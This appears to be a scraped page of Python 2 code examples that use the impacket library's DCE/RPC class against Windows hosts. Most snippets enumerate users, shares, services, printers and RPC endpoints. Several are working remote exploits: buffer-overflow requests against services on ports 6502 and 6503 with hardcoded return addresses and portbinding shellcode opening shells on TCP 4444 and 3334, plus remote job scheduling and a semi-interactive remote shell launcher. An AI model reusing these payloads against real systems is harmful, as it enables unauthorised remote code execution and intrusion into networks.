예제 #1
0
    def __bruteForce(self, rpctransport, maxRid):
        # UDP only works over DCE/RPC version 4.
        if isinstance(rpctransport, transport.UDPTransport):
            dce = dcerpc_v4.DCERPC_v4(rpctransport)
        else:
            dce = dcerpc.DCERPC_v5(rpctransport)

        entries = []
        dce.connect()

        # Want encryption? Uncomment next line
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)

        # Want fragmentation? Uncomment next line
        #dce.set_max_fragment_size(32)

        dce.bind(lsarpc.MSRPC_UUID_LSARPC)
        rpc = lsarpc.DCERPCLsarpc(dce)

        resp = rpc.LsarOpenPolicy2(rpctransport.get_dip(),
                                   access_mask=0x02000000)

        try:
            resp2 = rpc.LsarQueryInformationPolicy2(
                resp['ContextHandle'],
                lsarpc.POLICY_ACCOUNT_DOMAIN_INFORMATION)
            rootsid = resp2.formatDict()['sid'].formatCanonical()
        except Exception, e:
            print e
예제 #2
0
def main(args):
  if len(args) != 4:
    print "usage: opdump.py hostname port interface version"
    return 1

  host, port, interface, version = args[0],  int(args[1]), args[2], args[3]

  stringbinding = "ncacn_ip_tcp:%s" % host
  trans = transport.DCERPCTransportFactory(stringbinding)
  trans.set_dport(port)

  results = []
  for i in range(256):
    dce = dcerpc.DCERPC_v5(trans)
    dce.connect()

    iid = uuid.uuidtup_to_bin((interface, version))
    dce.bind(iid)

    dce.call(i, "")
    try:
      resp = dce.recv()
    except dcerpc.Exception, e:
      result = str(e)
    else:
      result = "success"

    dce.disconnect()

    results.append(result)
예제 #3
0
    def doStuff(self, rpctransport):
        dce = dcerpc.DCERPC_v5(rpctransport)

        dce.connect()
        dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_max_fragment_size(16)
        dce.bind(printer.MSRPC_UUID_SPOOLSS)
        rpcspool = printer.PrintSpooler(dce)
        resp = rpcspool.enumPrinters('\x00', 0x2, level=1)
        data = resp['PrinterEnum']
        index = 0
        for i in range(resp['cReturned']):
            # skip the flags
            flags = unpack('<L', data[index:index + 4])[0]
            index += 4
            description = unpack('<L', data[index:index + 4])[0]
            index += 4
            name = unpack('<L', data[index:index + 4])[0]
            index += 4
            comment = unpack('<L', data[index:index + 4])[0]
            index += 4
            # Yes.. still don't know why.. offsets are 0x10*i away from the actual data
            description = data[(description + 16 * i):].split('\x00\x00')[0]
            name = data[(name + 16 * i):].split('\x00\x00')[0]
            comment = data[(comment + 16 * i):].split('\x00\x00')[0]
            print "flags: 0x%x\nname:[%s]\ndescription:[%s]\ncomment:[%s]\n" % (
                flags, name, description, comment)

        #resp = rpcspool.enumPorts()
        #resp.dump()

        dce.disconnect()
예제 #4
0
    def __fetchList(self, rpctransport):
        # UDP only works over DCE/RPC version 4.
        if isinstance(rpctransport, transport.UDPTransport):
            dce = dcerpc_v4.DCERPC_v4(rpctransport)
        else:
            dce = dcerpc.DCERPC_v5(rpctransport)

        entries = []

        dce.connect()
        dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(epm.MSRPC_UUID_PORTMAP)
        rpcepm = epm.DCERPCEpm(dce)

        resp = rpcepm.portmap_dump()
        while resp.get_entries_num() != 0:
            rpc_handle = resp.get_handle()
            ndrentry = resp.get_entry().get_entry()
            sb = transport.DCERPCStringBinding(ndrentry.get_string_binding())
            entry = epm.EpmEntry(uuid.bin_to_string(ndrentry.get_uuid()),
                                 ndrentry.get_version(),
                                 ndrentry.get_annotation(),
                                 uuid.bin_to_string(ndrentry.get_objuuid()),
                                 sb.get_protocol_sequence(), sb.get_endpoint())
            entries.append(entry)
            ##             print str(entry)
            resp = rpcepm.portmap_dump(rpc_handle)

        dce.disconnect()

        return entries
예제 #5
0
def ExploitDNS(target, port):
    trans = transport.TCPTransport(target, port)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0')))

    dce.call(0x01, stub)
예제 #6
0
    def doStuff(self, rpctransport):

        dce = dcerpc.DCERPC_v5(rpctransport)
        try:
            dce.connect()
        except Exception, e:
            print e
            sys.exit(1)
예제 #7
0
def main(args):
    if len(args) != 2:
        print "usage: ./ifmap.py <host> <port>"
        return 1

    host = args[0]
    port = int(args[1])

    stringbinding = "ncacn_ip_tcp:%s" % host
    trans = transport.DCERPCTransportFactory(stringbinding)
    trans.set_dport(port)

    dce = dcerpc.DCERPC_v5(trans)
    dce.connect()

    iid = uuid.uuidtup_to_bin(("afa8bd80-7d8a-11c9-bef4-08002b102989", "1.0"))
    dce.bind(iid)

    dcemgmt = mgmt.DCERPCMgmt(dce)
    ifids = dcemgmt.inq_if_ids()

    uuidtups = set(
        uuid.bin_to_uuidtup(ifids.get_if_binuuid(index))
        for index in range(ifids.get_ifcount()))

    dce.disconnect()

    probes = uuidtups | uuid_database

    for tup in sorted(probes):
        listed = tup in uuidtups

        dce.connect()

        binuuid = uuid.uuidtup_to_bin(tup)
        try:
            dce.bind(binuuid)
        except dcerpc.Exception, e:
            resp = dcerpc.MSRPCBindAck(str(e.args[1]))
            if (resp.getCtxItem(1)['Result'],
                    resp.getCtxItem(1)['Reason']) == (2, 1):
                listening = False
            else:
                raise
        else:
            listening = True

        listed = tup in uuidtups
        otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
        if listed or listening:
            print "%r: %s, %s" % (
                tup, "listed" if listed else
                "other version listed" if otherversion else "not listed",
                "listening" if listening else "not listening")
예제 #8
0
    def __fetchList(self, rpctransport):
        dce = dcerpc.DCERPC_v5(rpctransport)

        encoding = sys.getdefaultencoding()
        entries = []

        dce.connect()
        dce.bind(samr.MSRPC_UUID_SAMR)
        rpcsamr = samr.DCERPCSamr(dce)

        try:
            resp = rpcsamr.connect()
            if resp.get_return_code() != 0:
                raise ListUsersException, 'Connect error'

            _context_handle = resp.get_context_handle()
            resp = rpcsamr.enumdomains(_context_handle)
            if resp.get_return_code() != 0:
                raise ListUsersException, 'EnumDomain error'

            domains = resp.get_domains().elements()

            print 'Found domain(s):'
            for i in range(0, resp.get_entries_num()):
                print " . %s" % domains[i].get_name()

            print "Looking up users in domain %s" % domains[0].get_name()
            resp = rpcsamr.lookupdomain(_context_handle, domains[0])
            if resp.get_return_code() != 0:
                raise ListUsersException, 'LookupDomain error'

            resp = rpcsamr.opendomain(_context_handle, resp.get_domain_sid())
            if resp.get_return_code() != 0:
                raise ListUsersException, 'OpenDomain error'

            domain_context_handle = resp.get_context_handle()
            resp = rpcsamr.enumusers(domain_context_handle)
            if resp.get_return_code() != 0:
                raise ListUsersException, 'OpenDomainUsers error'

            for user in resp.get_users().elements():
                uname = user.get_name().encode(encoding, 'replace')
                uid = user.get_id()

                r = rpcsamr.openuser(domain_context_handle, uid)
                print "Found user: %s, uid = %d" % (uname, uid)

                if r.get_return_code() == 0:
                    info = rpcsamr.queryuserinfo(r.get_context_handle()).get_user_info()
                    entry = (uname, uid, info)
                    entries.append(entry)
                    c = rpcsamr.closerequest(r.get_context_handle())
        except ListUsersException, e:
            print "Error listing users: %s" % e
예제 #9
0
 def do_shares(self, line):
     rpctransport = transport.SMBTransport(self.smb.get_remote_name(),
                                           self.smb.get_remote_host(),
                                           filename=r'\srvsvc',
                                           smb_server=self.smb)
     dce = dcerpc.DCERPC_v5(rpctransport)
     dce.connect()
     dce.bind(srvsvc.MSRPC_UUID_SRVSVC)
     srv_svc = srvsvc.DCERPCSrvSvc(dce)
     resp = srv_svc.get_share_enum_1(rpctransport.get_dip())
     for i in range(len(resp)):
         print resp[i]['NetName'].decode('utf-16')
예제 #10
0
def dce_connect_and_exploit(target):
     trans = transport.TCPTransport(target, 6504)
     trans.connect()
     
     dce = dcerpc.DCERPC_v5(trans)
     dce.bind(uuid.uuidtup_to_bin(('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0')))
     
     print "Building packet ..."
     request = build_stub_packet(ip)
     
     print "Sending packet ..."
     dce.call(342, request)
예제 #11
0
    def doStuff(self, rpctransport):
        dce = dcerpc.DCERPC_v5(rpctransport)

        user, pwd, domain, _, _ = rpctransport.get_credentials()
        dce.set_credentials(user,pwd,domain)
        dce.connect()
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_max_fragment_size(16)
        dce.bind(atsvc.MSRPC_UUID_ATSVC)
        at = atsvc.DCERPCAtSvc(dce)

        # Check [MS-TSCH] Section 2.3.4
        atInfo = atsvc.AT_INFO()
        atInfo['JobTime']            = 0
        atInfo['DaysOfMonth']        = 0
        atInfo['DaysOfWeek']         = 0
        atInfo['Flags']              = 0
        atInfo['Command']            = ndrutils.NDRUniqueStringW()
        atInfo['Command']['Data']    = ('calc.exe\x00').encode('utf-16le')

        # Remember to remove it on the target server ;)
        resp = at.NetrJobAdd(('\\\\%s'% rpctransport.get_dip()),atInfo)

        resp = at.NetrJobEnum(rpctransport.get_dip())
        # ToDo: Parse this struct, should be easy
        resp.dump()
        # Switching context to TSS
        dce = dce.alter_ctx(atsvc.MSRPC_UUID_TSS)
        # Now atsvc should use that new context
        at = atsvc.DCERPCAtSvc(dce)
        #path = '\\Microsoft\\Windows\\Media Center'
        path = '\\'
        resp = at.SchRpcEnumTasks(path)
        if resp['Count'] == 1:
            print resp['TaskName']['Data']
            if resp['ErrorCode'] == atsvc.S_FALSE:
                i = 1
                done = False
                while done is not True:
                    # More items
                    try:
                        resp = at.SchRpcEnumTasks(path,startIndex=i)
                    except:
                        break
                    if resp['Count'] == 1:
                         print resp['TaskName']['Data'] 
                         i += 1
                    elif resp['ErrorCode'] != atsvc.S_FALSE:
                        done = True
 

        dce.disconnect()
예제 #12
0
 def listShares(self):
     # Get the shares through RPC
     from impacket.dcerpc import transport, dcerpc, srvsvc
     rpctransport = transport.SMBTransport(self.getRemoteHost(),
                                           self.getRemoteHost(),
                                           filename=r'\srvsvc',
                                           smb_connection=self)
     dce = dcerpc.DCERPC_v5(rpctransport)
     dce.connect()
     dce.bind(srvsvc.MSRPC_UUID_SRVSVC)
     srv_svc = srvsvc.DCERPCSrvSvc(dce)
     resp = srv_svc.get_share_enum_1(rpctransport.get_dip())
     return resp
예제 #13
0
    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        print "[*] Requesting shares on %s....." % (self.client.get_remote_host())
        try: 
            self._rpctransport = transport.SMBTransport('','',filename = r'\srvsvc', smb_server = self.client)
            self._dce = dcerpc.DCERPC_v5(self._rpctransport)
            self._dce.connect()

            self._dce.bind(srvsvc.MSRPC_UUID_SRVSVC)
            srv_svc = srvsvc.DCERPCSrvSvc(self._dce)
            resp = srv_svc.get_share_enum_1(self._rpctransport.get_dip())
            return resp
        except:
            print "[!] Error requesting shares on %s, aborting....." % (self.client.get_remote_host())
            raise
예제 #14
0
 def openSvcManager(self):
     print "[*] Opening SVCManager on %s....." % self.client.get_remote_host()
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport('','',filename = r'\svcctl', smb_server = self.client)
     self._dce = dcerpc.DCERPC_v5(self._rpctransport)
     self._dce.connect()
     self._dce.bind(svcctl.MSRPC_UUID_SVCCTL)
     self.rpcsvc = svcctl.DCERPCSvcCtl(self._dce)
     try:
         resp = self.rpcsvc.OpenSCManagerW()
     except:
         print "[!] Error opening SVCManager on %s....." % self.client.get_remote_host()
         return 0
     else:
         return resp['ContextHandle']
예제 #15
0
 def do_info(self, line):
     rpctransport = transport.SMBTransport(self.smb.get_remote_name(),
                                           self.smb.get_remote_host(),
                                           filename=r'\srvsvc',
                                           smb_server=self.smb)
     dce = dcerpc.DCERPC_v5(rpctransport)
     dce.connect()
     dce.bind(srvsvc.MSRPC_UUID_SRVSVC)
     srv_svc = srvsvc.DCERPCSrvSvc(dce)
     resp = srv_svc.get_server_info_102(rpctransport.get_dip())
     print "Version Major: %d" % resp['VersionMajor']
     print "Version Minor: %d" % resp['VersionMinor']
     print "Server Name: %s" % resp['Name']
     print "Server Comment: %s" % resp['Comment']
     print "Server UserPath: %s" % resp['UserPath']
     print "Simultaneous Users: %d" % resp['Users']
예제 #16
0
    def __init__(self, share, rpc, mode):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__mode = mode
        self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
        self.__outputBuffer = ''
        self.__command = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = 'BTOBTO'.encode('utf-16le')
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute'

        dce = dcerpc.DCERPC_v5(rpc)

        try:
            dce.connect()
        except Exception, e:
            pass
예제 #17
0
def DCEconnectAndExploit(target):
    trans = transport.TCPTransport(target, 6503)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

    # The following DWORD gets converted to an address pointing into our
    # buffer.
    request = struct.pack('<L', 0x00003A7C)
    request += "A" * 19608
    request += "\x90\x90\xeb\x06"
    # At the point of overflow EBX points to our shellcode
    # Address of 'call ebx' from kernel32.dll SP4
    request += struct.pack('<L', 0x7C577B03)
    request += "\x90\x90\x90\x90"
    request += shellcode
    request += "b" * 480000
    dce.call(45, request)
예제 #18
0
 def openSvcManager(self):
     """Connect to the SVCManager on the remote host."""
     print("[*] Opening SVCManager on %s...."
           "." % self.connection.getRemoteHost())
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport(
         '', '', filename=r'\svcctl', smb_connection=self.connection)
     self._dce = dcerpc.DCERPC_v5(self._rpctransport)
     self._dce.connect()
     self._dce.bind(svcctl.MSRPC_UUID_SVCCTL)
     self.rpcsvc = svcctl.DCERPCSvcCtl(self._dce)
     try:
         resp = self.rpcsvc.OpenSCManagerW()
     except Exception:
         print("[!] Error opening SVCManager on %s...."
               "." % self.connection.getRemoteHost())
         raise Exception('Unable to open SVCManager')
     else:
         return resp['ContextHandle']
예제 #19
0
    def getShares(self):
        """Return a list of shares on the remote windows server."""
        # Setup up a DCE SMBTransport with the connection already in place
        print("[*] Requesting shares on %s....." %
              (self.connection.getRemoteHost()))
        try:
            self._rpctransport = transport.SMBTransport(
                '', '', filename=r'\srvsvc', smb_connection=self.connection)
            self._dce = dcerpc.DCERPC_v5(self._rpctransport)
            self._dce.connect()

            self._dce.bind(srvsvc.MSRPC_UUID_SRVSVC)
            srv_svc = srvsvc.DCERPCSrvSvc(self._dce)
            resp = srv_svc.get_share_enum_1(self._rpctransport.get_dip())
            return resp
        except Exception:
            print("[!] Error requesting shares on %s, aborting....." %
                  (self.connection.getRemoteHost()))
            raise
예제 #20
0
    def __fetchList(self, rpctransport):
        # UDP only works over DCE/RPC version 4.
        if isinstance(rpctransport, transport.UDPTransport):
            dce = dcerpc_v4.DCERPC_v4(rpctransport)
        else:
            dce = dcerpc.DCERPC_v5(rpctransport)

        entries = []

        dce.connect()
        dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(epm.MSRPC_UUID_PORTMAP)
        rpcepm = epm.DCERPCEpm(dce)

        resp = rpcepm.lookup('', inquireType=epm.RPC_C_EP_ALL_ELTS)

        dce.disconnect()

        return resp
예제 #21
0
    def __fetchData(self, rpctransport):
        dce = dcerpc.DCERPC_v5(rpctransport)

        encoding = sys.getdefaultencoding()
        entries = []

        dce.connect()
        dce.bind(wkssvc.MSRPC_UUID_WKSSVC)
        wkssvc_dce = wkssvc.DCERPCWksSvc(dce)

        try:
            print 'Retrieving mac address for %s' % rpctransport.get_dip()
            resp = wkssvc_dce.NetrWkstaTransportEnum(rpctransport.get_dip())
            for i in range(resp['Count']):
                print 'TransportName: %s' % resp['Array'][i]['TransportName'][
                    'Data'].decode('utf-16le')
                print 'TransportAddress: %s' % resp['Array'][i][
                    'TransportAddress']['Data'].decode('utf-16le')
        except WKSSVCException, e:
            print "Error: %s" % e
예제 #22
0
def DiscoverDNSport(target):
    trans = transport.SMBTransport(target, 139, 'epmapper')
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')))
    pm = epm.DCERPCEpm(dce)
    handle = '\x00' * 20
    while 1:
        dump = pm.portmap_dump(handle)
        if not dump.get_entries_num():
            break
        handle = dump.get_handle()
        entry = dump.get_entry().get_entry()
        if (uuid.bin_to_string(
                entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
            port = entry.get_string_binding().split('[')[1][:-1]
            return int(port)

    print '[-] Could not locate DNS port; Target might not be running DNS'
예제 #23
0
def DCEconnectAndExploit(target):
    trans = transport.TCPTransport(target, 6503)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

    request = "A" * 676
    request += "\x90\x90\x90\x90"
    request += "\x90\x90\xeb\x0a"

    #Call dword ptr [esi +4C] from user32.dll
    request += struct.pack("<L", 0x77E4FB7A)
    #Overwrite UnhandledExceptionFilter in Windows 2000 SP0
    request += struct.pack("<L", 0x77EE044C)
    request += "\x90\x90\x90\x90" * 2
    #Portbinding shellcode; Opens shell on TCP port 4444
    request += "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0"
    request += "\x6f\xe3\x2a\x83\xeb\xfc\xe2\xf4\x1c\x05\x08\x67\x08\x96\x1c\xd5"
    request += "\x1f\x0f\x68\x46\xc4\x4b\x68\x6f\xdc\xe4\x9f\x2f\x98\x6e\x0c\xa1"
    request += "\xaf\x77\x68\x75\xc0\x6e\x08\x63\x6b\x5b\x68\x2b\x0e\x5e\x23\xb3"
    request += "\x4c\xeb\x23\x5e\xe7\xae\x29\x27\xe1\xad\x08\xde\xdb\x3b\xc7\x02"
    request += "\x95\x8a\x68\x75\xc4\x6e\x08\x4c\x6b\x63\xa8\xa1\xbf\x73\xe2\xc1"
    request += "\xe3\x43\x68\xa3\x8c\x4b\xff\x4b\x23\x5e\x38\x4e\x6b\x2c\xd3\xa1"
    request += "\xa0\x63\x68\x5a\xfc\xc2\x68\x6a\xe8\x31\x8b\xa4\xae\x61\x0f\x7a"
    request += "\x1f\xb9\x85\x79\x86\x07\xd0\x18\x88\x18\x90\x18\xbf\x3b\x1c\xfa"
    request += "\x88\xa4\x0e\xd6\xdb\x3f\x1c\xfc\xbf\xe6\x06\x4c\x61\x82\xeb\x28"
    request += "\xb5\x05\xe1\xd5\x30\x07\x3a\x23\x15\xc2\xb4\xd5\x36\x3c\xb0\x79"
    request += "\xb3\x3c\xa0\x79\xa3\x3c\x1c\xfa\x86\x07\xf2\x76\x86\x3c\x6a\xcb"
    request += "\x75\x07\x47\x30\x90\xa8\xb4\xd5\x36\x05\xf3\x7b\xb5\x90\x33\x42"
    request += "\x44\xc2\xcd\xc3\xb7\x90\x35\x79\xb5\x90\x33\x42\x05\x26\x65\x63"
    request += "\xb7\x90\x35\x7a\xb4\x3b\xb6\xd5\x30\xfc\x8b\xcd\x99\xa9\x9a\x7d"
    request += "\x1f\xb9\xb6\xd5\x30\x09\x89\x4e\x86\x07\x80\x47\x69\x8a\x89\x7a"
    request += "\xb9\x46\x2f\xa3\x07\x05\xa7\xa3\x02\x5e\x23\xd9\x4a\x91\xa1\x07"
    request += "\x1e\x2d\xcf\xb9\x6d\x15\xdb\x81\x4b\xc4\x8b\x58\x1e\xdc\xf5\xd5"
    request += "\x95\x2b\x1c\xfc\xbb\x38\xb1\x7b\xb1\x3e\x89\x2b\xb1\x3e\xb6\x7b"
    request += "\x1f\xbf\x8b\x87\x39\x6a\x2d\x79\x1f\xb9\x89\xd5\x1f\x58\x1c\xfa"
    request += "\x6b\x38\x1f\xa9\x24\x0b\x1c\xfc\xb2\x90\x33\x42\x10\xe5\xe7\x75"
    request += "\xb3\x90\x35\xd5\x30\x6f\xe3\x2a"

    dce.call(43, request)
예제 #24
0
def DCEconnectAndExploit(target):
    trans = transport.TCPTransport(target, 6502)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('62b93df0-8b02-11ce-876c-00805f842837', '1.0')))

    request = '\x10\x09\xf9\x77'
    request += '\x41' * 1130
    request += '\x90\x90\x90\x90\xeb\x08'  #short jump into nops
    request += '\xd2\x7b\x57\x7c'  #call ebx address from kernel32.dll
    request += '\x90' * 32
    #Shellcode to bind shell to TCP port 3334
    request += "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
    request += "\x13\xe9\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83"
    request += "\x01\xa0\xdc\x31\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2"
    request += "\x5f\xcb\x91\x58\xcc\x45\xa6\x41\xa8\x91\xc9\x58\xc8\x87"
    request += "\x62\x6d\xa8\xcf\x07\x68\xe3\x57\x45\xdd\xe3\xba\xee\x98"
    request += "\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6\x9c\xbc\xa8\x91"
    request += "\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25\xea\x75"
    request += "\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45"
    request += "\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57"
    request += "\xcf\x9e\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc"
    request += "\xb6\x0d\xdc\x1e\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0"
    request += "\xc6\xa8\x68\xb4\x2b\xcc\xbc\x33\x21\x31\x39\x31\xfa\xc7"
    request += "\x1c\xf4\x74\x31\x3f\x0a\x70\x9d\xba\x0a\x60\x9d\xaa\x0a"
    request += "\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f\x7c\x31\x87\xd4"
    request += "\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6\x4d\xf4"
    request += "\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87"
    request += "\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f"
    request += "\x5a\x99\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3"
    request += "\x60\xbc\x49\x9e\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68"
    request += "\xe3\x3d\x43\xa7\x61\xe3\x17\x1b\x0f\x5d\x64\x23\x1b\x65"
    request += "\x42\xf2\x4b\xbc\x17\xea\x35\x31\x9c\x1d\xdc\x18\xb2\x0e"
    request += "\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f\x16\x89\x4b\x63"
    request += "\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e\x62\x0e"
    request += "\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91"
    request += "\xba\xa6\xf5\x31\x39\x59\x23\xce"

    dce.call(38, request)
예제 #25
0
    def __fetchList(self, rpctransport):
        dce = dcerpc.DCERPC_v5(rpctransport)
        #dce.set_auth_level(2)
        encoding = sys.getdefaultencoding()
        entries = []
        try:
            dce.connect()
            #sys.exit()
            dce.bind(samr.MSRPC_UUID_SAMR)
            #sys.exit()
            rpcsamr = samr.DCERPCSamr(dce)
            resp = rpcsamr.connect()
            if resp.get_return_code() != 0:
                raise ListUsersException, 'Connect error'

            _context_handle = resp.get_context_handle()
            resp = rpcsamr.enumdomains(_context_handle)
            if resp.get_return_code() != 0:
                raise ListUsersException, 'EnumDomain error'

            domains = resp.get_domains().elements()

            print '\n[+] Found domain(s):\n'
            for i in range(0, resp.get_entries_num()):
                print "\t[+] %s" % domains[i].get_name()

            print "\n[+] Password Info for Domain: %s" % domains[0].get_name()
            resp = rpcsamr.lookupdomain(_context_handle, domains[0])
            if resp.get_return_code() != 0:
                raise ListUsersException, 'LookupDomain error'
            resp = rpcsamr.opendomain(_context_handle, resp.get_domain_sid())
            if resp.get_return_code() != 0:
                raise ListUsersException, 'OpenDomain error'
            domain_context_handle = resp.get_context_handle()
            resp = rpcsamr.enumPass(domain_context_handle)
            resp.print_friendly()
        except ListUsersException, e:
            print "Error Getting Password Policy: %s" % e
            dce.disconnect()
def EnableDetailLogging(target):
       trans = transport.TCPTransport(target, 6502)
       #On some linux systems the following call to connect may fail due to
       #no support of settimeout in socket module. Comment out that line in
       #transport.py of impacket and run this script

       try:
               trans.connect()
       except:
               print 'Could not connect to target port; Target may not be running tapeeng'
               sys.exit(-1)

       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('62b93df0-8b02-11ce-876c-00805f842837','1.0')))

       #RPC request to enable detail logging
       request = '\x00\x04\x08\x0c'
       request += '\x02\x00\x00\x00'
       request += '\x00\x00\x00\x00'
       request += '\x00\x00\x00\x00'
       request += '\x00\x00\x00\x00'

       dce.call(43, request)
예제 #27
0
def DCEconnectAndExploit(target):
       trans = transport.TCPTransport(target, 6503)
       trans.connect()
       dce = dcerpc.DCERPC_v5(trans)
예제 #28
0
    def doStuff(self, rpctransport):
        # UDP only works over DCE/RPC version 4.
        if isinstance(rpctransport, transport.UDPTransport):
            dce = dcerpc_v4.DCERPC_v4(rpctransport)
        else:
            dce = dcerpc.DCERPC_v5(rpctransport)

        #dce.set_credentials(self.__username, self.__password)
        dce.connect()
        #dce.set_max_fragment_size(1)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
        dce.bind(svcctl.MSRPC_UUID_SVCCTL)
        rpc = svcctl.DCERPCSvcCtl(dce)
        ans = rpc.OpenSCManagerW()
        scManagerHandle = ans['ContextHandle']
        ans = rpc.OpenServiceW(scManagerHandle,
                               self.__service_name.encode('utf-16le'))
        serviceHandle = ans['ContextHandle']
        if self.__action.upper() == 'START':
            print "Starting service %s" % self.__service_name
            rpc.StartServiceW(serviceHandle)
            rpc.CloseServiceHandle(serviceHandle)
        elif self.__action.upper() == 'STOP':
            print "Stopping service %s" % self.__service_name
            rpc.StopService(serviceHandle)
            rpc.CloseServiceHandle(serviceHandle)
        elif self.__action.upper() == 'DELETE':
            print "Deleting service %s" % self.__service_name
            rpc.DeleteService(serviceHandle)
            rpc.CloseServiceHandle(serviceHandle)
        elif self.__action.upper() == 'CONFIG':
            print "Querying service config for %s" % self.__service_name
            resp = rpc.QueryServiceConfigW(serviceHandle)
            print "TYPE              : %2d - " % resp['QueryConfig'][
                'ServiceType'],
            if resp['QueryConfig']['ServiceType'] == 0x1:
                print "SERVICE_KERNLE_DRIVER"
            elif resp['QueryConfig']['ServiceType'] == 0x2:
                print "SERVICE_FILE_SYSTEM_DRIVER"
            elif resp['QueryConfig']['ServiceType'] == 0x10:
                print "SERVICE_WIN32_OWN_PROCESS"
            elif resp['QueryConfig']['ServiceType'] == 0x20:
                print "SERVICE_WIN32_SHARE_PROCESS"
            else:
                print "UNKOWN"
            print "START_TYPE        : %2d - " % resp['QueryConfig'][
                'StartType'],
            if resp['QueryConfig']['StartType'] == 0x0:
                print "BOOT START"
            elif resp['QueryConfig']['StartType'] == 0x1:
                print "SYSTEM START"
            elif resp['QueryConfig']['StartType'] == 0x2:
                print "AUTO START"
            elif resp['QueryConfig']['StartType'] == 0x3:
                print "DEMAND START"
            elif resp['QueryConfig']['StartType'] == 0x4:
                print "DISABLED"
            else:
                print "UNKOWN"

            print "ERROR_CONTROL     : %2d - " % resp['QueryConfig'][
                'ErrorControl'],
            if resp['QueryConfig']['ErrorControl'] == 0x0:
                print "IGNORE"
            elif resp['QueryConfig']['ErrorControl'] == 0x1:
                print "NORMAL"
            elif resp['QueryConfig']['ErrorControl'] == 0x2:
                print "SEVERE"
            elif resp['QueryConfig']['ErrorControl'] == 0x3:
                print "CRITICAL"
            else:
                print "UNKOWN"
            print "BINARY_PATH_NAME  : %s" % resp['QueryConfig'][
                'BinaryPathName'].decode('utf-16le')
            print "LOAD_ORDER_GROUP  : %s" % resp['QueryConfig'][
                'LoadOrderGroup'].decode('utf-16le')
            print "TAG               : %d" % resp['QueryConfig']['TagID']
            print "DISPLAY_NAME      : %s" % resp['QueryConfig'][
                'DisplayName'].decode('utf-16le')
            print "DEPENDENCIES      : %s" % resp['QueryConfig'][
                'Dependencies'].decode('utf-16le').replace('/', ' - ')
            print "SERVICE_START_NAME: %s" % resp['QueryConfig'][
                'ServiceStartName'].decode('utf-16le')
        elif self.__action.upper() == 'STATUS':
            print "Querying status for %s" % self.__service_name
            resp = rpc.QueryServiceStatus(serviceHandle)
            print "%30s - " % (self.__service_name),
            state = resp['CurrentState']
            if state == svcctl.SERVICE_CONTINUE_PENDING:
                print "CONTINUE PENDING"
            elif state == svcctl.SERVICE_PAUSE_PENDING:
                print "PAUSE PENDING"
            elif state == svcctl.SERVICE_PAUSED:
                print "PAUSED"
            elif state == svcctl.SERVICE_RUNNING:
                print "RUNNING"
            elif state == svcctl.SERVICE_START_PENDING:
                print "START PENDING"
            elif state == svcctl.SERVICE_STOP_PENDING:
                print "STOP PENDING"
            elif state == svcctl.SERVICE_STOPPED:
                print "STOPPED"
            else:
                print "UNKOWN"
        elif self.__action.upper() == 'LIST':
            print "Listing services available on target"
